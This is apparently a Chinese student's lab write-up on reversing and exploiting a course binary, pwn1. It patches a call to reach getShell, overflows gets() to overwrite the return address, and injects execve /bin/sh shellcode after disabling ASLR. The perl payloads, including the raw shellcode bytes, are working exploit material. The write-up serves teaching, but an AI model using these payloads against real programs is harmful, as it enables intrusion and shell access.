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20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践

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20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践

1.实践目标：

实践对象：一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是：
  1. main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  2. 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。
  3. 正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
  • 三个实践内容如下：
  1. 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。

2.实践基础知识

常用的Linux基本操作

objdump -d：从objfile中反汇编那些特定指令机器码的section。

perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。

xxd ：为给定的标准输入或者文件做一次十六进制的输出，它也可以将十六进制输出转换为原来的二进制格式。

ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。

| ：管道，将前者的输出作为后者的输入。

> ：输入输出重定向符，将前者输出的内容输入到后者中。

NOP, JNE, JE, JMP, ++CMP汇编指令的机器码++

1. near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）
2. CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3. NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
4. JNE：条件转移指令，如果不相等则跳转。（机器码：75）
5. JE：条件转移指令，如果相等则跳转。（机器码：74）
6. JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB） 段内直接近转移Jmp

下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。

root@KaliYL:~# objdump -d pwn1 | more0804847d <getShell>:
804847d:55 push %ebp
...
08048491 <foo>:
8048491:55 push %ebp
...
080484af <main>:
...
80484b5:e8 d7 ff ff ff call 8048491 <foo>
80484ba:b8 00 00 00 00 mov $0x0,%eax
...

--

  • 先看第12行，"call 8048491 "是汇编指令

  • 是说这条指令将调用位于地址8048491处的foo函数；

  • 其对应机器指令为“e8 d7ffffff”，e8即跳转之意。

  • 本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，

    --

  • main函数调用foo，对应机器指令为“e8 d7ffffff”，

  • 那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。

  • 用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。

  • 下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    --

  • root@KaliYL:~# cp pwn1 pwn2

  • root@KaliYL:~# vi pwn2

  • 以下操作是在vi内

  • 1.按ESC键

  • 2.输入如下，将显示模式切换为16进制模式

  • :%!xxd

  • 3.查找要修改的内容

  • /e8d7

  • 4.找到后前后的内容和反汇编的对比下，确认是地方是正确的

  • 5.修改d7为c3

  • 6.转换16进制为原格式

  • :%!xxd -r

  • 7.存盘退出vi

  • :wq

  • 8.再反汇编看一下，call指令是否正确调用getShell

root@KaliYL:~# objdump -d pwn2 | more

...
080484af <main>:
80484af:55 push %ebp
80484b0:89 e5 mov %esp,%ebp
80484b2:83 e4 f0 and $0xfffffff0,%esp
80484b5:e8 c3 ff ff ff call 804847d <getShell>
80484ba:b8 00 00 00 00 mov $0x0,%eax

  • 9.运行下改后的代码，会得到shell提示符#

root@KaliYL:~# ./pwn2
# ls
20135201_met_rtcp_136_443backdoor.exe pwn1.bak

通过构造输入参数，造成BOF攻击，改变程序执行流

  • 知识要求：堆栈结构，返回地址

  • 学习目标：理解攻击缓冲区的结果，掌握返回地址的获取

  • 进阶：掌握ELF文件格式，掌握动态技术

  • 3.1 反汇编，了解程序的基本功能

root@KaliYL:~# objdump -d pwn1 | more 8048477:90 nop
8048478:e9 73 ff ff ff jmp 80483f0 <register_tm_clones>

== 注意这个函数getShell，我们的目标是触发这个函数 ==

0804847d <getShell>:
804847d:55 push %ebp
804847e:89 e5 mov %esp,%ebp
8048480:83 ec 18 sub $0x18,%esp
8048483:c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a:e8 c1 fe ff ff call 8048350 <system@plt>
804848f:c9 leave
8048490:c3 ret

== 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞 ==

08048491 <foo>:
8048491:55 push %ebp
8048492:89 e5 mov %esp,%ebp
8048494:83 ec 38 sub $0x38,%esp
8048497:8d 45 e4 lea -0x1c(%ebp),%eax
804849a:89 04 24 mov %eax,(%esp)

== 这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==

804849d:e8 8e fe ff ff call 8048330 <gets@plt>
80484a2:8d 45 e4 lea -0x1c(%ebp),%eax
80484a5:89 04 24 mov %eax,(%esp)
80484a8:e8 93 fe ff ff call 8048340 <puts@plt>
80484ad:c9 leave
80484ae:c3 ret

080484af <main>:
80484af:55 push %ebp
80484b0:89 e5 mov %esp,%ebp
80484b2:83 e4 f0 and $0xfffffff0,%esp
80484b5:e8 d7 ff ff ff call 8048491 <foo>

上面的call调用foo,同时在堆栈上压上返回地址值:__________

80484ba:b8 00 00 00 00 mov $0x0,%eax
80484bf:c9 leave
80484c0:c3 ret
80484c1:66 90 xchg %ax,%ax
80484c3:66 90 xchg %ax,%ax
80484c5:66 90 xchg %ax,%ax
80484c7:66 90 xchg %ax,%ax
80484c9:66 90 xchg %ax,%ax
80484cb:66 90 xchg %ax,%ax
80484cd:66 90 xchg %ax,%ax
80484cf:90 nop080484d0 <__libc_csu_init>:

--

3.2 确认输入字符串哪几个字符会覆盖到返回地址

root@KaliYL:~# gdb pwn1
(gdb) r
Starting program: /root/pwn1
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555

Program received signal SIGSEGV, Segmentation fault.
0x35353535 in ?? ()
(gdb) info r
eax 0x2941
ecx 0xffffffff-1
edx 0xf7fab870-134563728
ebx 0x00
esp 0xffffd3200xffffd320
ebp 0x343434340x34343434
esi 0xf7faa000-134569984
edi 0xf7faa000-134569984
eip 0x353535350x35353535 //注意EIP的值，是ASCII 5
eflags 0x10246[ PF ZF IF RF ]
cs 0x2335
ss 0x2b43
ds 0x2b43
es 0x2b43
fs 0x00
gs 0x6399
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pwn1
1111111122222222333333334444444412345678
1111111122222222333333334444444412345678

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()
(gdb) info r
eip 0x343332310x34333231
eflags 0x10246[ PF ZF IF RF ](gdb)

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

--

3.3 确认用什么值来覆盖返回地址
getShell的内存地址，通过反汇编时可以看到，即0804847d。接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

--

(gdb) break *0x804849d
Breakpoint 2 at 0x804849d
(gdb) info break
Num Type Disp Enb Address What
1 breakpoint keep y <PENDING> x804849d
2 breakpoint keep y 0x0804849d <foo+12>
(gdb) r
Starting program: /root/pwn1 Breakpoint 2, 0x0804849d in foo ()
(gdb) info r
eip 0x804849d0x804849d <foo+12>对比之前 ==eip 0x343332310x34333231== ，正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

--

3.4 构造输入字符串

  • 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

root@KaliYL:~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

--

  • 可以使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入，通过管道符“|”，作为pwn1的输入

遇到的问题及解决方案

问题一.没办法联网，自己修改了虚拟机ip地址还是不行。
  • 解决方法：
  • 1，首先将VM的网卡net8启用：

    怎样让VM共享本地网络地址上网
  • 2，然后将VM的网卡设置为VMnet8（NAT）：

    怎样让VM共享本地网络地址上网
  • 3，将PC的可以上网的网卡共享：

    怎样让VM共享本地网络地址上网

    要勾上允许其他网络用户通过此计算机的intenet连接来连接，并选择VMnet8。
  • 4，设置VMnet8网卡的默认网关为本地PC可以上网的网卡的IP地址：

    怎样让VM共享本地网络地址上网

    我可以上网的网卡的IP地址为172.18.216.77，VMnet8的地址为192.168.0.1
  • 5，设置VM中网卡的地址为192.168.0.*网段，默认网关为192.168.0.1，并配置好DNS。

    怎样让VM共享本地网络地址上网

    这样就算设置完成了，在VM中访问网络时，先根据默认网关192.168.0.1，找到了VMnet8网卡，然后根据VMnet8网卡的默认网关172.18.216.77找到了可以上网的网卡，而该网卡已经共享上网，

还有不要没事按360的加速球，贼气人，把后台的vm程序全关了！！！



问题二.安装32位运行库很慢

  • 等，就一个字，等，等三小时！！

  • 1.切换到root用户（大家如果按部就班地安装的话都是root用户）

kali@20154312:~$ su
密码：

  • 2.用文本编辑器打开source.list

root@20154312: leafpad /etc/apt/sources.list

  • 3.添加下列更新源

#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free #中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free

  • 4.对软件进行一次整体更新（一共923M的更新包）

apt-get clean
apt-get update
apt-get upgrade

二.安装32位运行库

apt-get install lib32ncurses5
或者
apt-get install lib32z1

4. 注入Shellcode并执行

  • shellcode就是一段机器指令（code）
  • 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
  • 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

首先使用apt-get install execstack命令安装execstack。

修改以下设置：root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
我们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90，最前面加上加上返回地址（先定义为\x4\x3\x2\x1）：

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

一定切记要加上32个a，不然地址会出错

  • 接下来确定\x4\x3\x2\x1部分到底需要填什么

  • 打开一个终端注入这段攻击buf，在另一个终端查看pwn1这个进程，发现进程号为2571。

  • 启动gdb调试这个进程：

  • 通过设置断点，来查看注入buf的内存地址：

  • 使用break *0x080484ae设置断点，并输入c继续运行。在pwn5202进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp查找地址。

  • 使用x/16x 0xffffd2fc查看其存放内容，看到了01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是0xffffd2fc。

  • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可：

  • 再执行程序，攻击成功：



最后切记初始化固定段地址每次启动虚拟机都要重新配置，不然会和我一样蠢的在图书馆三小时不知道哪里错了哈哈哈！！